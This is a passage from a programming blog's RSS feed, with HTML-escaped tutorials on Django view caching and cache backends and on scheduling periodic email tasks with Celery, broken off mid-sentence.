tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache_control&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@cache_control&lt;/span&gt;(must_revalidate&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, max_age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3600&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can specify other cache headers such as the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public=True&lt;/li&gt;&#xA;&lt;li&gt;private=True&lt;/li&gt;&#xA;&lt;li&gt;no_cache=True&lt;/li&gt;&#xA;&lt;li&gt;no_transform=True&lt;/li&gt;&#xA;&lt;li&gt;must_revalidate=True&lt;/li&gt;&#xA;&lt;li&gt;proxy_revalidate=True&lt;/li&gt;&#xA;&lt;li&gt;max_age=num_seconds&lt;/li&gt;&#xA;&lt;li&gt;s_maxage=num_seconds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For a complete list of directives and what each one does visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;protocol specifications&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;do-not-frisk&#34;&gt;Do not frisk&lt;/h3&gt;&#xA;&lt;p&gt;If we want to prevent django from caching our views we mark them with the decorator &lt;em&gt;@never_cache&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; never_cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@never_cache&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;some_random_view&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-for-the-development-process&#34;&gt;Cache for the development process&lt;/h2&gt;&#xA;&lt;p&gt;If you are developing a website with Django and for some reason you can&amp;rsquo;t (or don&amp;rsquo;t want to) install redis, memcached or any other caching system, you can use a fake cache provided by Django. The fake cache will trick your application into believing that there is a real caching system.&lt;/p&gt;&#xA;&lt;p&gt;To activate it use the dummy cache as a backend by configuring it as a backend in your configuration file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.dummy.DummyCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;file-system-cache-database-cache-in-memory-cache-and-other-types-of-cache-in-django&#34;&gt;File system cache, database cache, in memory cache and other types of cache in Django&lt;/h2&gt;&#xA;&lt;p&gt;In addition to caching using memcached, you can store the data directly in memory, use a database or directly as hard disk data. To do this, simply change the CACHES configuration variable to other locations.&lt;/p&gt;&#xA;&lt;p&gt;For example, this configuration will store the cache in the &lt;em&gt;/tmp/&lt;/em&gt; directory of the operating system. The cache will be slower than memcached, but less ephemeral, you can even specify another location outside the &lt;em&gt;/tmp/&lt;/em&gt; directory if you are looking for a cache that survives reboots, although much slower.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.filebased.FileBasedCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/var/tmp/django_cache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/cache/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django documentation on caching&lt;/a&gt;&#xA; has more details for other less common use cases, check it out if you need a more specific solution.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;To use the cache in django, just follow three simple steps:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install a caching system, be it redis, memcached, etc.&lt;/li&gt;&#xA;&lt;li&gt;Set the CACHES variable to the &lt;em&gt;settings.py&lt;/em&gt; file of the project.&lt;/li&gt;&#xA;&lt;li&gt;Add the middleware necessary for django to return the cache before processing the view.&lt;/li&gt;&#xA;&lt;li&gt;Use the low-level cache to cache specific views or data (optional).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Implementing a caching system allows you to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;greatly improve the performance of an application made in Django&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Periodic Tasks with Celery and Django</title>
      <link>https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/</link>
      <pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/periodic-tasks-with-celery-and-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In addition to creating asynchronous tasks, celery also allows you to create periodic tasks, which are executed from time to time. This can be quite useful to give maintenance to the database from time to time, to send marketing or shopping cart recovery emails, perhaps even to empty the contents of some temporary cache in the database or any repetitive task where execution time is an important factor, that is, to improve the performance of a django application.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installation-and-configuration-of-celery-in-django&#34;&gt;Installation and configuration of Celery in Django&lt;/h2&gt;&#xA;&lt;p&gt;The first step is to install Celery:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;celery==5.1.2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As with asynchronous tasks, we also need rabbitmq or another broker.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install rabbitmq-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Next, at the same level as our configuration file, we will create a file called &lt;em&gt;celery.py&lt;/em&gt;, where we will create a celery app and pass the django configuration to it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Celery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp.settings&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Celery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celeryApp&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;config_from_object(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.conf:settings&amp;#39;&lt;/span&gt;, namespace&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;CELERY&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;autodiscover_tasks()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have doubts about what each line means or what rabbitmq is for, please visit my post about celery and django.&lt;/p&gt;&#xA;&lt;p&gt;We also import celery into our &lt;em&gt;init&lt;/em&gt;_.py_ file in our django project.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/__init__.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; celery_app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;__all__ &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;celery_app&amp;#39;&lt;/span&gt;,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sounds pretty obvious, but still I remind you; your django application must be running for celery to work.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;periodic-sending-of-tasks-with-crontab&#34;&gt;Periodic sending of tasks with crontab&lt;/h2&gt;&#xA;&lt;p&gt;For this example we are going to send emails periodically. To achieve this, we are going to add our periodic tasks in the file we just created&lt;/p&gt;&#xA;&lt;p&gt;First we are going to define the function that we want to execute, in this case it will only send an email, using the django function and taking the data of its arguments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.mail &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; send_mail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;send_my_email&lt;/span&gt;(subject, message, fromEmail, recipients):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_mail(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subject,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        message,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fromEmail,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        recipients,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fail_silently&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s set up the celery configuration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# celeryApp/celery.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.mail &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; send_mail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.on_after_configure.connect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;setup_periodic_tasks&lt;/span&gt;(sender, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sender&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_periodic_task(&lt;span style=&#34;color:#ff9f43&#34;&gt;10.0&lt;/span&gt;, send_my_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;s(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;from@example.com&amp;#39;&lt;/span&gt;, [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;to@example.com&amp;#39;&lt;/span&gt;]), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Envia email cada 10 segundos&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;send_my_email&lt;/span&gt;(subject, message, fromEmail, recipients):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_mail(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subject,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        message,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fromEmail,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        recipients,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fail_silently&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The decorator &lt;em&gt;@app.on_after_configure&lt;/em&gt; tells celery that these functions will be programmed once the configuration is complete.&lt;/p&gt;&#xA;&lt;p&gt;Our function is going to receive a messenger (sender) as a parameter, we will call its 